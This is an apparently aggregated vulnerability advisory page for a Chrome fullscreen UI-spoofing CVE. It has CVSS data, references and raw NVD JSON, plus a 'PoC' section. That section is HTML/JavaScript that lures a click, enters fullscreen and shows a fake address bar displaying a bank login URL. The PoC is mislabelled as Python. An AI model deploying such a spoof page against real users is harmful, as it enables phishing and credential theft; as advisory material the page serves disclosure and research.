CVE-2026-8561

Description

Incorrect security UI in Fullscreen in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-8561: Chrome Fullscreen UI Spoofing
This script demonstrates how a crafted HTML page can trigger fullscreen
and display a fake address bar to mislead the user.
-->
<html>
<head>
<style>
  /* Style to mimic a browser address bar */
  #fake-toolbar {
    display: none;
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 40px;
    background-color: #f1f3f4;
    border-bottom: 1px solid #ccc;
    z-index: 9999;
    font-family: Arial, sans-serif;
    padding: 10px;
    box-sizing: border-box;
  }
  #url-box {
    background-color: white;
    border: 1px solid #dfe1e5;
    border-radius: 20px;
    padding: 5px 15px;
    width: 80%;
    margin: 0 auto;
    color: #5f6368;
  }
</style>
</head>
<body>

<div id="fake-toolbar">
  <div id="url-box">https://www.secure-bank.com/login</div>
</div>

<div style="text-align: center; margin-top: 100px;">
  <h2>Click to Start Video</h2>
  <button onclick="triggerExploit()">Play</button>
</div>

<script>
  function triggerExploit() {
    var elem = document.documentElement;
    // Request fullscreen to trigger the vulnerability context
    if (elem.requestFullscreen) {
      elem.requestFullscreen().then(() => {
        // Show the fake UI immediately after entering fullscreen
        document.getElementById('fake-toolbar').style.display = 'block';
      }).catch(err => {
        console.error('Error attempting to enable fullscreen:', err.message);
      });
    }
  }
</script>

</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8561
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8561
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8561/
[4] VulDB https://vuldb.com/cve/CVE-2026-8561
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/343352552

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8561", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:18.213", "lastModified": "2026-05-14T22:16:49.697", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect security UI in Fullscreen in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/343352552", "source": "[email protected]"}]}}